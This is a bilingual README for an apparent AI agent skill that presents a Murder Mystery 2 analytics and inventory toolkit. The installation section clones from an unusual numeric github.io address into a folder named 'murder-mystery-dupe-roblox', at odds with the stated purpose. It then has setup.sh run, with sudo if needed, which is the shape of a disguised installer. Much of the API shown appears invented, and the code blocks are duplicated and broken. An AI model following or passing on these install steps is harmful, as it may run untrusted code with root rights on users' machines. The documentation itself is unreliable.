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mm2-analytics-roblox-tracker

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MM2 Analytics Roblox Tracker

MM2 Analytics Roblox追踪器

Skill by ara.so — Data Skills collection.
This project is an analytics and inventory management toolkit for Roblox's Murder Mystery 2 game. It provides data visualization, inventory tracking, strategy analysis, and performance metrics to help players optimize their gameplay through data-driven insights.
由ara.so开发的Skill——Data Skills合集。
本项目是针对Roblox游戏《Murder Mystery 2》的分析与库存管理工具包。它提供数据可视化、库存追踪、策略分析及性能指标功能，帮助玩家通过数据驱动的洞察优化游戏玩法。

What It Does

功能介绍

The MM2 Analytics Dashboard offers:
  • Inventory Management: Track knife skins, gamepasses, and collection completeness
  • Analytics Engine: Visualize win/loss ratios, performance metrics, and strategy patterns
  • AI-Powered Insights: Pattern recognition and predictive modeling for inventory values
  • Multi-platform Support: Desktop, tablet, mobile, and web browser compatibility
  • Export Capabilities: Export statistics in JSON/CSV formats
MM2 Analytics仪表盘提供以下功能：
  • 库存管理：追踪刀具皮肤、游戏通行证及收藏完成度
  • 分析引擎：可视化胜负率、性能指标及策略模式
  • AI驱动洞察：库存价值的模式识别与预测建模
  • 多平台支持：兼容桌面端、平板、移动端及网页浏览器
  • 导出功能：以JSON/CSV格式导出统计数据

Installation

安装

Automated Setup

自动安装

bash
chmod +x setup.sh
./setup.sh --install
bash
chmod +x setup.sh
./setup.sh --install

Manual Installation

手动安装

bash
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bash
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Clone the repository

Clone the repository

git clone https://8015238355.github.io cd murder-mystery-dupe-roblox
git clone https://8015238355.github.io cd murder-mystery-dupe-roblox

Install dependencies

Install dependencies

npm install python3 -m pip install -r requirements.txt
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npm install python3 -m pip install -r requirements.txt
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System Requirements

系统要求

  • OS: Windows 10/11, macOS Ventura+, Ubuntu 22.04+
  • Python: 3.8+
  • Node.js: 16+
  • Browser: Chrome 120+, Firefox 121+
  • 操作系统：Windows 10/11、macOS Ventura+、Ubuntu 22.04+
  • Python：3.8+
  • Node.js：16+
  • 浏览器：Chrome 120+、Firefox 121+

Configuration

配置

Environment Variables

环境变量

Create a 
.env
file in the project root:
bash
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在项目根目录创建
.env
文件：
bash
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API Keys (optional for AI features)

API Keys (optional for AI features)

API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}

Data Configuration

Data Configuration

DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true
DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true

Export Settings

Export Settings

EXPORT_FORMAT=json LOG_LEVEL=INFO
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EXPORT_FORMAT=json LOG_LEVEL=INFO
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Profile Configuration

配置文件

Create or edit 
config/profile.yaml
:
yaml
profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
创建或编辑
config/profile.yaml
：
yaml
profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"

Key Commands (CLI)

核心命令（CLI）

Analytics Mode

分析模式

Run comprehensive analytics on your gameplay data:
bash
python3 main.py --mode analytics \
  --profile mystery_solver_01 \
  --export statistics_2026.json \
  --format json \
  --verbose
对游戏玩法数据执行全面分析：
bash
python3 main.py --mode analytics \
  --profile mystery_solver_01 \
  --export statistics_2026.json \
  --format json \
  --verbose

Inventory Scan

库存扫描

Scan and catalog your MM2 inventory:
bash
python3 main.py --mode inventory \
  --scan-knife-skins \
  --scan-gamepasses \
  --output inventory_report.csv
扫描并分类你的MM2库存：
bash
python3 main.py --mode inventory \
  --scan-knife-skins \
  --scan-gamepasses \
  --output inventory_report.csv

Strategy Analysis

策略分析

Analyze gameplay patterns and generate strategy recommendations:
bash
python3 main.py --mode strategy \
  --analyze-patterns \
  --role sheriff \
  --export strategy_insights.json
分析游戏玩法模式并生成策略建议：
bash
python3 main.py --mode strategy \
  --analyze-patterns \
  --role sheriff \
  --export strategy_insights.json

Live Tracking

实时追踪

Enable real-time gameplay tracking:
bash
python3 main.py --mode live \
  --track-performance \
  --interval 30 \
  --log-level DEBUG
启用游戏玩法实时追踪：
bash
python3 main.py --mode live \
  --track-performance \
  --interval 30 \
  --log-level DEBUG

Python API Usage

Python API 使用示例

Basic Analytics

基础分析

python
from mm2_analytics import AnalyticsEngine, ProfileLoader
python
from mm2_analytics import AnalyticsEngine, ProfileLoader

Load user profile

Load user profile

profile = ProfileLoader.load("mystery_solver_01")
profile = ProfileLoader.load("mystery_solver_01")

Initialize analytics engine

Initialize analytics engine

engine = AnalyticsEngine(profile)
engine = AnalyticsEngine(profile)

Run comprehensive analysis

Run comprehensive analysis

results = engine.analyze( mode="comprehensive", include_inventory=True, include_strategy=True )
results = engine.analyze( mode="comprehensive", include_inventory=True, include_strategy=True )

Export results

Export results

engine.export(results, format="json", output="stats.json")
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engine.export(results, format="json", output="stats.json")
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Inventory Management

库存管理

python
from mm2_analytics import InventoryManager
python
from mm2_analytics import InventoryManager

Initialize inventory manager

Initialize inventory manager

inventory = InventoryManager(data_dir="./data/collections")
inventory = InventoryManager(data_dir="./data/collections")

Scan for knife skins

Scan for knife skins

knife_skins = inventory.scan_knife_skins( rarity_filter=["legendary", "ancient"] )
print(f"Found {len(knife_skins)} knife skins")
knife_skins = inventory.scan_knife_skins( rarity_filter=["legendary", "ancient"] )
print(f"Found {len(knife_skins)} knife skins")

Check collection completeness

Check collection completeness

completeness = inventory.calculate_completeness() print(f"Collection {completeness['percentage']}% complete")
completeness = inventory.calculate_completeness() print(f"Collection {completeness['percentage']}% complete")

Get missing items

Get missing items

missing = inventory.get_missing_items(category="knife_skins")
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missing = inventory.get_missing_items(category="knife_skins")
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Strategy Pattern Analysis

策略模式分析

python
from mm2_analytics import StrategyAnalyzer
python
from mm2_analytics import StrategyAnalyzer

Initialize strategy analyzer

Initialize strategy analyzer

analyzer = StrategyAnalyzer()
analyzer = StrategyAnalyzer()

Load gameplay history

Load gameplay history

analyzer.load_history("./data/gameplay_history.json")
analyzer.load_history("./data/gameplay_history.json")

Analyze patterns for sheriff role

Analyze patterns for sheriff role

sheriff_patterns = analyzer.analyze_role("sheriff", { "priority": "high_visibility_areas", "playstyle": "aggressive" })
sheriff_patterns = analyzer.analyze_role("sheriff", { "priority": "high_visibility_areas", "playstyle": "aggressive" })

Get win rate by strategy

Get win rate by strategy

win_rates = analyzer.get_win_rates_by_strategy()
win_rates = analyzer.get_win_rates_by_strategy()

Generate recommendations

Generate recommendations

recommendations = analyzer.recommend_strategy( current_win_rate=0.65, target_win_rate=0.75 )
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recommendations = analyzer.recommend_strategy( current_win_rate=0.65, target_win_rate=0.75 )
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Data Visualization

数据可视化

python
from mm2_analytics import DataVisualizer
python
from mm2_analytics import DataVisualizer

Initialize visualizer

Initialize visualizer

viz = DataVisualizer()
viz = DataVisualizer()

Create performance dashboard

Create performance dashboard

viz.create_dashboard( data_source="./data/statistics_2026.json", charts=["win_loss_ratio", "role_performance", "inventory_value"], output="dashboard.html" )
viz.create_dashboard( data_source="./data/statistics_2026.json", charts=["win_loss_ratio", "role_performance", "inventory_value"], output="dashboard.html" )

Generate inventory chart

Generate inventory chart

viz.plot_inventory_distribution( inventory_data=knife_skins, group_by="rarity", save_as="inventory_chart.png" )
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viz.plot_inventory_distribution( inventory_data=knife_skins, group_by="rarity", save_as="inventory_chart.png" )
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Common Patterns

常见使用模式

Automated Daily Reports

自动生成每日报告

python
import schedule
import time
from mm2_analytics import AnalyticsEngine, ProfileLoader

def generate_daily_report():
    profile = ProfileLoader.load("mystery_solver_01")
    engine = AnalyticsEngine(profile)
    
    results = engine.analyze(mode="comprehensive")
    engine.export(
        results,
        format="json",
        output=f"daily_report_{time.strftime('%Y%m%d')}.json"
    )
    print(f"Daily report generated at {time.strftime('%Y-%m-%d %H:%M:%S')}")
python
import schedule
import time
from mm2_analytics import AnalyticsEngine, ProfileLoader

def generate_daily_report():
    profile = ProfileLoader.load("mystery_solver_01")
    engine = AnalyticsEngine(profile)
    
    results = engine.analyze(mode="comprehensive")
    engine.export(
        results,
        format="json",
        output=f"daily_report_{time.strftime('%Y%m%d')}.json"
    )
    print(f"Daily report generated at {time.strftime('%Y-%m-%d %H:%M:%S')}")

Schedule daily report at 11 PM

Schedule daily report at 11 PM

schedule.every().day.at("23:00").do(generate_daily_report)
while True: schedule.run_pending() time.sleep(60)
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schedule.every().day.at("23:00").do(generate_daily_report)
while True: schedule.run_pending() time.sleep(60)
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AI-Powered Strategy Suggestions

AI驱动策略建议

python
import os
from mm2_analytics import StrategyAnalyzer, AIIntegration
python
import os
from mm2_analytics import StrategyAnalyzer, AIIntegration

Initialize with API keys from environment

Initialize with API keys from environment

ai = AIIntegration( openai_key=os.getenv("API_OPENAI_KEY"), claude_key=os.getenv("API_CLAUDE_KEY") )
analyzer = StrategyAnalyzer() analyzer.load_history("./data/gameplay_history.json")
ai = AIIntegration( openai_key=os.getenv("API_OPENAI_KEY"), claude_key=os.getenv("API_CLAUDE_KEY") )
analyzer = StrategyAnalyzer() analyzer.load_history("./data/gameplay_history.json")

Get AI-powered suggestions

Get AI-powered suggestions

current_stats = analyzer.get_current_stats() suggestions = ai.generate_suggestions( role="sheriff", current_stats=current_stats, model="claude" # or "openai" )
print("AI Recommendations:") for suggestion in suggestions: print(f"- {suggestion['text']} (confidence: {suggestion['confidence']})")
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current_stats = analyzer.get_current_stats() suggestions = ai.generate_suggestions( role="sheriff", current_stats=current_stats, model="claude" # or "openai" )
print("AI Recommendations:") for suggestion in suggestions: print(f"- {suggestion['text']} (confidence: {suggestion['confidence']})")
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Batch Export Multiple Formats

批量导出多种格式

python
from mm2_analytics import AnalyticsEngine, ExportManager

engine = AnalyticsEngine(ProfileLoader.load("mystery_solver_01"))
results = engine.analyze(mode="comprehensive")

exporter = ExportManager(results)
python
from mm2_analytics import AnalyticsEngine, ExportManager

engine = AnalyticsEngine(ProfileLoader.load("mystery_solver_01"))
results = engine.analyze(mode="comprehensive")

exporter = ExportManager(results)

Export in multiple formats

Export in multiple formats

formats = ["json", "csv", "yaml", "xml"] for fmt in formats: exporter.export( format=fmt, output=f"statistics_2026.{fmt}", include_metadata=True ) print(f"Exported to statistics_2026.{fmt}")
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formats = ["json", "csv", "yaml", "xml"] for fmt in formats: exporter.export( format=fmt, output=f"statistics_2026.{fmt}", include_metadata=True ) print(f"Exported to statistics_2026.{fmt}")
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Real-Time Performance Tracking

实时性能追踪

python
from mm2_analytics import LiveTracker
python
from mm2_analytics import LiveTracker

Initialize live tracker

Initialize live tracker

tracker = LiveTracker( profile="mystery_solver_01", interval=30, auto_save=True )
tracker = LiveTracker( profile="mystery_solver_01", interval=30, auto_save=True )

Define custom event handlers

Define custom event handlers

@tracker.on_match_complete def handle_match(match_data): print(f"Match completed: {match_data['result']}") print(f"Role: {match_data['role']}") print(f"Duration: {match_data['duration']}s")
@tracker.on_inventory_change def handle_inventory(item): print(f"New item acquired: {item['name']} ({item['rarity']})")
@tracker.on_match_complete def handle_match(match_data): print(f"Match completed: {match_data['result']}") print(f"Role: {match_data['role']}") print(f"Duration: {match_data['duration']}s")
@tracker.on_inventory_change def handle_inventory(item): print(f"New item acquired: {item['name']} ({item['rarity']})")

Start tracking

Start tracking

tracker.start()
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tracker.start()
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Troubleshooting

故障排除

Installation Issues

安装问题

Problem: 
ModuleNotFoundError
during import
bash
undefined
问题：导入时出现
ModuleNotFoundError
bash
undefined

Verify Python path

Verify Python path

python3 -c "import sys; print(sys.path)"
python3 -c "import sys; print(sys.path)"

Reinstall dependencies

Reinstall dependencies

pip install --upgrade -r requirements.txt --user

**Problem**: Permission denied on `setup.sh`

```bash
pip install --upgrade -r requirements.txt --user

**问题**：`setup.sh`权限被拒绝

```bash

Fix permissions

Fix permissions

chmod +x setup.sh
chmod +x setup.sh

Run with sudo if needed

Run with sudo if needed

sudo ./setup.sh --install
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sudo ./setup.sh --install
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Data Loading Errors

数据加载错误

Problem: Profile not found
python
from mm2_analytics import ProfileLoader
问题：未找到配置文件
python
from mm2_analytics import ProfileLoader

List available profiles

List available profiles

profiles = ProfileLoader.list_profiles() print(f"Available profiles: {profiles}")
profiles = ProfileLoader.list_profiles() print(f"Available profiles: {profiles}")

Create new profile

Create new profile

ProfileLoader.create_profile( username="new_user", template="default" )

**Problem**: Corrupted data files

```bash
ProfileLoader.create_profile( username="new_user", template="default" )

**问题**：数据文件损坏

```bash

Validate data integrity

Validate data integrity

python3 main.py --validate-data --repair
python3 main.py --validate-data --repair

Reset to defaults

Reset to defaults

python3 main.py --reset-data --confirm
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python3 main.py --reset-data --confirm
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API Integration Issues

API集成问题

Problem: AI features not working
python
import os
问题：AI功能无法使用
python
import os

Check environment variables

Check environment variables

required_vars = ["API_OPENAI_KEY", "API_CLAUDE_KEY"] for var in required_vars: if not os.getenv(var): print(f"Warning: {var} not set")
required_vars = ["API_OPENAI_KEY", "API_CLAUDE_KEY"] for var in required_vars: if not os.getenv(var): print(f"Warning: {var} not set")

Test API connection

Test API connection

from mm2_analytics import AIIntegration ai = AIIntegration(openai_key=os.getenv("API_OPENAI_KEY")) connection_ok = ai.test_connection() print(f"API connection: {'OK' if connection_ok else 'FAILED'}")
undefined
from mm2_analytics import AIIntegration ai = AIIntegration(openai_key=os.getenv("API_OPENAI_KEY")) connection_ok = ai.test_connection() print(f"API connection: {'OK' if connection_ok else 'FAILED'}")
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Performance Optimization

性能优化

Problem: Slow analytics processing
python
from mm2_analytics import AnalyticsEngine
问题：分析处理速度缓慢
python
from mm2_analytics import AnalyticsEngine

Enable caching

Enable caching

engine = AnalyticsEngine( profile=profile, enable_cache=True, cache_ttl=3600 )
engine = AnalyticsEngine( profile=profile, enable_cache=True, cache_ttl=3600 )

Use incremental analysis

Use incremental analysis

results = engine.analyze( mode="incremental", since_timestamp="2026-05-15T00:00:00Z" )

**Problem**: High memory usage

```bash
results = engine.analyze( mode="incremental", since_timestamp="2026-05-15T00:00:00Z" )

**问题**：内存占用过高

```bash

Run with memory constraints

Run with memory constraints

python3 main.py --mode analytics
--max-memory 2GB
--batch-size 100
--streaming-mode
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python3 main.py --mode analytics
--max-memory 2GB
--batch-size 100
--streaming-mode
undefined

Export Issues

导出问题

Problem: Invalid export format
python
from mm2_analytics import ExportManager
问题：导出格式无效
python
from mm2_analytics import ExportManager

Check supported formats

Check supported formats

supported = ExportManager.get_supported_formats() print(f"Supported formats: {', '.join(supported)}")
supported = ExportManager.get_supported_formats() print(f"Supported formats: {', '.join(supported)}")

Use format validation

Use format validation

exporter = ExportManager(results) if exporter.validate_format("json"): exporter.export(format="json", output="stats.json")
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exporter = ExportManager(results) if exporter.validate_format("json"): exporter.export(format="json", output="stats.json")
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Advanced Usage

进阶用法

Custom Data Pipelines

自定义数据管道

python
from mm2_analytics import DataPipeline, Transformer
python
from mm2_analytics import DataPipeline, Transformer

Create custom pipeline

Create custom pipeline

pipeline = DataPipeline()
pipeline = DataPipeline()

Add transformation stages

Add transformation stages

pipeline.add_stage(Transformer.normalize_timestamps()) pipeline.add_stage(Transformer.filter_by_role("sheriff")) pipeline.add_stage(Transformer.aggregate_by_date()) pipeline.add_stage(Transformer.calculate_win_rate())
pipeline.add_stage(Transformer.normalize_timestamps()) pipeline.add_stage(Transformer.filter_by_role("sheriff")) pipeline.add_stage(Transformer.aggregate_by_date()) pipeline.add_stage(Transformer.calculate_win_rate())

Process data

Process data

raw_data = pipeline.load_from("./data/raw_gameplay.json") processed = pipeline.execute(raw_data) pipeline.save_to("./data/processed_gameplay.json", processed)

This skill enables AI coding agents to effectively assist developers in using the MM2 Analytics toolkit for Roblox Murder Mystery 2 data analysis, inventory management, and strategy optimization.
raw_data = pipeline.load_from("./data/raw_gameplay.json") processed = pipeline.execute(raw_data) pipeline.save_to("./data/processed_gameplay.json", processed)

本Skill可让AI编码代理有效协助开发者使用MM2 Analytics工具包进行Roblox《Murder Mystery 2》的数据分析、库存管理及策略优化。